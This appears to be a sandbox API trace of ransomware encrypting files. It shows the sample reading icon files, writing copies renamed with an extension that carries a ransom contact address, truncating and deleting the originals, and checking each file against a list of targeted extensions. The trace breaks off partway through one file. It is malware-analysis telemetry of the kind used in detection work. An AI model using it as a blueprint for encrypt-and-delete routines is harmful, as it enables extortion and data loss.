	[0072.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.094] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.095] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.100] GetLastError () returned 0x0
	[0072.100] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.115] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.122] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.122] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.122] SetEndOfFile (hFile=0x35c) returned 1
	[0072.122] CloseHandle (hObject=0x35c) returned 1
	[0072.123] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.123] SetEndOfFile (hFile=0x354) returned 1
	[0072.124] CloseHandle (hObject=0x354) returned 1
	[0072.124] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.125] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1
	[0072.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.125] lstrlenW (lpString=".doc") returned 4
	[0072.125] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.125] lstrlenW (lpString=".docx") returned 5
	[0072.125] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0072.125] lstrlenW (lpString=".pdf") returned 4
	[0072.125] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.125] lstrlenW (lpString=".xls") returned 4
	[0072.125] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.125] lstrlenW (lpString=".xlsx") returned 5
	[0072.125] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0072.125] lstrlenW (lpString=".ppt") returned 4
	[0072.125] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".zip") returned 4
	[0072.126] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString=".rar") returned 4
	[0072.126] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString=".bz2") returned 4
	[0072.126] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.126] lstrlenW (lpString=".7z") returned 3
	[0072.126] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".dbf") returned 4
	[0072.126] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".1cd") returned 4
	[0072.126] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".jpg") returned 4
	[0072.126] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".doc") returned 4
	[0072.126] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.126] lstrlenW (lpString=".docx") returned 5
	[0072.126] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0072.126] lstrlenW (lpString=".pdf") returned 4
	[0072.126] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString=".xls") returned 4
	[0072.126] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString=".xlsx") returned 5
	[0072.126] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0072.126] lstrlenW (lpString=".ppt") returned 4
	[0072.126] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.126] lstrlenW (lpString=".zip") returned 4
	[0072.126] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.126] lstrlenW (lpString=".rar") returned 4
	[0072.126] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.127] lstrlenW (lpString=".bz2") returned 4
	[0072.127] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.127] lstrlenW (lpString=".7z") returned 3
	[0072.127] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.127] lstrlenW (lpString=".dbf") returned 4
	[0072.127] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.127] lstrlenW (lpString=".1cd") returned 4
	[0072.127] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0072.127] lstrlenW (lpString=".jpg") returned 4
	[0072.127] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.127] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.127] lstrlenW (lpString="Rotate8.ico") returned 11
	[0072.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.139] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=894) returned 1
	[0072.139] CloseHandle (hObject=0x354) returned 1
	[0072.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0072.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.139] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.139] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.164] GetLastError () returned 0x0
	[0072.164] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.171] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.173] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.173] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.173] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.173] CloseHandle (hObject=0x2bc) returned 1
	[0072.174] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.174] SetEndOfFile (hFile=0x354) returned 1
	[0072.175] CloseHandle (hObject=0x354) returned 1
	[0072.175] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.175] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1
	[0072.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.175] lstrlenW (lpString=".doc") returned 4
	[0072.175] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.175] lstrlenW (lpString=".docx") returned 5
	[0072.175] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0072.175] lstrlenW (lpString=".pdf") returned 4
	[0072.175] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.175] lstrlenW (lpString=".xls") returned 4
	[0072.175] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.175] lstrlenW (lpString=".xlsx") returned 5
	[0072.175] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0072.175] lstrlenW (lpString=".ppt") returned 4
	[0072.176] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".zip") returned 4
	[0072.176] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString=".rar") returned 4
	[0072.176] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString=".bz2") returned 4
	[0072.176] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.176] lstrlenW (lpString=".7z") returned 3
	[0072.176] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".dbf") returned 4
	[0072.176] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".1cd") returned 4
	[0072.176] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".jpg") returned 4
	[0072.176] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".doc") returned 4
	[0072.176] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.176] lstrlenW (lpString=".docx") returned 5
	[0072.176] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0072.176] lstrlenW (lpString=".pdf") returned 4
	[0072.176] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString=".xls") returned 4
	[0072.176] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString=".xlsx") returned 5
	[0072.176] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0072.176] lstrlenW (lpString=".ppt") returned 4
	[0072.176] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.176] lstrlenW (lpString=".zip") returned 4
	[0072.177] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.177] lstrlenW (lpString=".rar") returned 4
	[0072.177] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.177] lstrlenW (lpString=".bz2") returned 4
	[0072.177] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.177] lstrlenW (lpString=".7z") returned 3
	[0072.177] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.177] lstrlenW (lpString=".dbf") returned 4
	[0072.177] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.177] lstrlenW (lpString=".1cd") returned 4
	[0072.177] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0072.177] lstrlenW (lpString=".jpg") returned 4
	[0072.177] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.177] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.177] lstrlenW (lpString="stop.ico") returned 8
	[0072.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.177] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10134) returned 1
	[0072.177] CloseHandle (hObject=0x354) returned 1
	[0072.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80
	[0072.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.178] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.178] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.178] GetLastError () returned 0x0
	[0072.178] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x2796, lpOverlapped=0x0) returned 1
	[0072.203] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0072.204] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.205] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0072.205] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.205] CloseHandle (hObject=0x2bc) returned 1
	[0072.205] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.206] SetEndOfFile (hFile=0x354) returned 1
	[0072.206] CloseHandle (hObject=0x354) returned 1
	[0072.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.207] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1
	[0072.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.207] lstrlenW (lpString=".doc") returned 4
	[0072.207] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.207] lstrlenW (lpString=".docx") returned 5
	[0072.207] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0072.207] lstrlenW (lpString=".pdf") returned 4
	[0072.207] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.207] lstrlenW (lpString=".xls") returned 4
	[0072.207] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.207] lstrlenW (lpString=".xlsx") returned 5
	[0072.207] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0072.207] lstrlenW (lpString=".ppt") returned 4
	[0072.207] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.207] lstrlenW (lpString=".zip") returned 4
	[0072.207] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.207] lstrlenW (lpString=".rar") returned 4
	[0072.207] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.207] lstrlenW (lpString=".bz2") returned 4
	[0072.207] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.207] lstrlenW (lpString=".7z") returned 3
	[0072.208] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString=".dbf") returned 4
	[0072.208] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString=".1cd") returned 4
	[0072.208] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString=".jpg") returned 4
	[0072.208] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString=".doc") returned 4
	[0072.208] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.208] lstrlenW (lpString=".docx") returned 5
	[0072.208] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1
	[0072.208] lstrlenW (lpString=".pdf") returned 4
	[0072.208] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString=".xls") returned 4
	[0072.208] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString=".xlsx") returned 5
	[0072.208] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1
	[0072.208] lstrlenW (lpString=".ppt") returned 4
	[0072.208] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.208] lstrlenW (lpString=".zip") returned 4
	[0072.208] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString=".rar") returned 4
	[0072.208] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.208] lstrlenW (lpString=".bz2") returned 4
	[0072.208] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.208] lstrlenW (lpString=".7z") returned 3
	[0072.208] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.209] lstrlenW (lpString=".dbf") returned 4
	[0072.209] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.209] lstrlenW (lpString=".1cd") returned 4
	[0072.209] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39
	[0072.209] lstrlenW (lpString=".jpg") returned 4
	[0072.209] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.209] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.209] lstrlenW (lpString="warn.ico") returned 8
	[0072.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.209] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10134) returned 1
	[0072.209] CloseHandle (hObject=0x354) returned 1
	[0072.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0072.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0072.209] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.210] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.210] GetLastError () returned 0x0
	[0072.210] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x2796, lpOverlapped=0x0) returned 1
	[0072.219] WriteFile (in: hFile=0x2bc, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0072.221] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
